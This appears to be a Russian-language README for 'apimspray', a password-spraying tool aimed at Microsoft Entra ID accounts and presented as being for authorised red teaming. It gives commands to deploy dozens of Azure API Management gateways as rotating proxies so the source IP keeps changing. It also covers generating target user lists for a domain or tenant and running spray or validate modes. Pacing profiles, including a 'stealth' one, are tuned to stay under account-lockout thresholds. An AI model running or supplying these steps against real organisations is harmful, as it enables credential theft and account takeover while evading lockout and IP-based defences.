
Azure apim mini proxy
apimspray — это специализированный инструмент для перебора паролей Entra ID, предназначенный для авторизованных исследований безопасности и Red Teaming. Он использует шлюзы Azure API Management (APIM) в качестве распределённого, ротируемого прокси-слоя для смены IP-адресов.
Подробнее о проекте читайте в статье.
az): Требуется для скрипта-ротатора при развёртывании ресурсов. (Запускайте скрипт из сессии CLI, уже аутентифицированной в az cli, или используйте Azure Cloud Shell)pip install -r requirements.txt
az login
Запускайте apimspray прямо из аутентифицированной среды Azure.
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
Разверните несколько шлюзов APIM в разных расположениях.
python3 apimspraycreate.py --count 5 --outfile urls.txt
Развёртывает 33 экземпляра APIM в регионах Germanywestcentral и westeurope и сохраняет в urls.txt.
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
Справочник по CLI apimspraycreate:
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Развёртыватель APIM Azure
options:
-h, --help показать это справочное сообщение и выйти
--outfile OUTFILE Выходной файл для URL
--count COUNT Количество экземпляров
--location LOCATION Расположения APIM через запятую для развёртывания. Если указаны, используются только эти регионы, первое расположение — для группы ресурсов.
--prefix PREFIX Префикс URL API
--realm-prefix REALM_PREFIX
Префикс Realm API
--delete-old Удалить старые группы ресурсов
Важно: Для всех методов у вас должна быть активная сессия az в фоне (az login).
Убедитесь, что у вас готовы целевые списки:
users.txt: Список UserPrincipalNames (например, [email protected]).passwords.txt: Список паролей для перебора.Если у вас нет списка пользователей, используйте вспомогательный скрипт generate_upns.py. Этот инструмент:
users.txt.Использование:
# Генерация users.txt для конкретного домена или идентификатора арендатора
python3 generate_upns.py --target example.com
# ИЛИ с использованием Tenantid
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
Справочник по CLI generate_upns:
usage: generate_upns.py [-h] --target TARGET
Генерация UPN из подключённых арендаторов Azure и учётных записей служб.
options:
-h, --help показать это справочное сообщение и выйти
--target TARGET Целевой домен (например, example.com) или UUID арендатора
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Инструмент оценки Entra ID
options:
-h, --help показать это справочное сообщение и выйти
--urls URLS Путь к файлу с URL APIM (из apimspraycreate.py или apimsprayrotator.sh)
--users USERS Путь к файлу с пользователями
--passwords PASSWORDS
Путь к файлу с паролями
--output OUTPUT Выходная директория
--tenant TENANT ID арендатора или домен
--domain DOMAIN Добавить домен к пользователям, если он отсутствует
--mode {spray,validate}
Режим работы. 'spray' проверяет все пароли против всех пользователей (1:N). 'validate' выполняет попарную проверку учётных данных (1:1).
--pace {stealth,low,mid,medium,high}
Профиль темпа для запросов и управления блокировками:
- high: 15 рабочих, задержка 0.1 с, 10 проходов/часть, 5 минут ожидания блокировки, 20 безопасный порог, 0% джиттера
- medium: 5 рабочих, задержка 1.0 с, 5 проходов/часть, 10 минут ожидания блокировки, 10 безопасный порог, 10% джиттера
- low: 2 рабочих, задержка 5.0 с, 2 прохода/часть, 15 минут ожидания блокировки, 5 безопасный порог, 20% джиттера
- stealth: 1 рабочий, задержка 30.0 с, 1 проход/часть, 20 минут ожидания блокировки, 1 безопасный порог, 40% джиттера
--continue-on-success
Продолжить оценку даже после обнаружения валидных учётных данных.
validate: Проверяет список пар user:password. Требует списки одинаковой длины.
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray: Пытается применить один пароль ко всем пользователям, затем ожидает (если настроено), затем переходит к следующему паролю.
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
Параметр --pace управляет агрессивностью перебора. Значения жёстко заданы для обеспечения стабильности и безопасности.
AADSTS50053), инструмент немедленно прерывается.Результаты сохраняются в директорию results/<timestamp>/:
valid_*.txt: Успешные аутентификации (требуется MFA или получен токен).blocked_*.txt: Заблокированные или условно заблокированные учётные записи.failed_*.txt: Неверные учётные данные или пользователь не найден.| Профиль | Рабочих | Задержка | Количество (часть) | Ожидание блокировки | Безопасный порог | Джиттер |
|---|
high | 15 | 0.1 с | 10 | 5 мин | 20 заблокировано | 0% |
medium | 5 | 1.0 с | 5 | 10 мин | 10 заблокировано | 10% |
low | 2 | 5.0 с | 2 | 15 мин | 5 заблокировано | 20% |
stealth | 1 | 30.0 с | 1 | 20 мин | 1 заблокировано | 40% |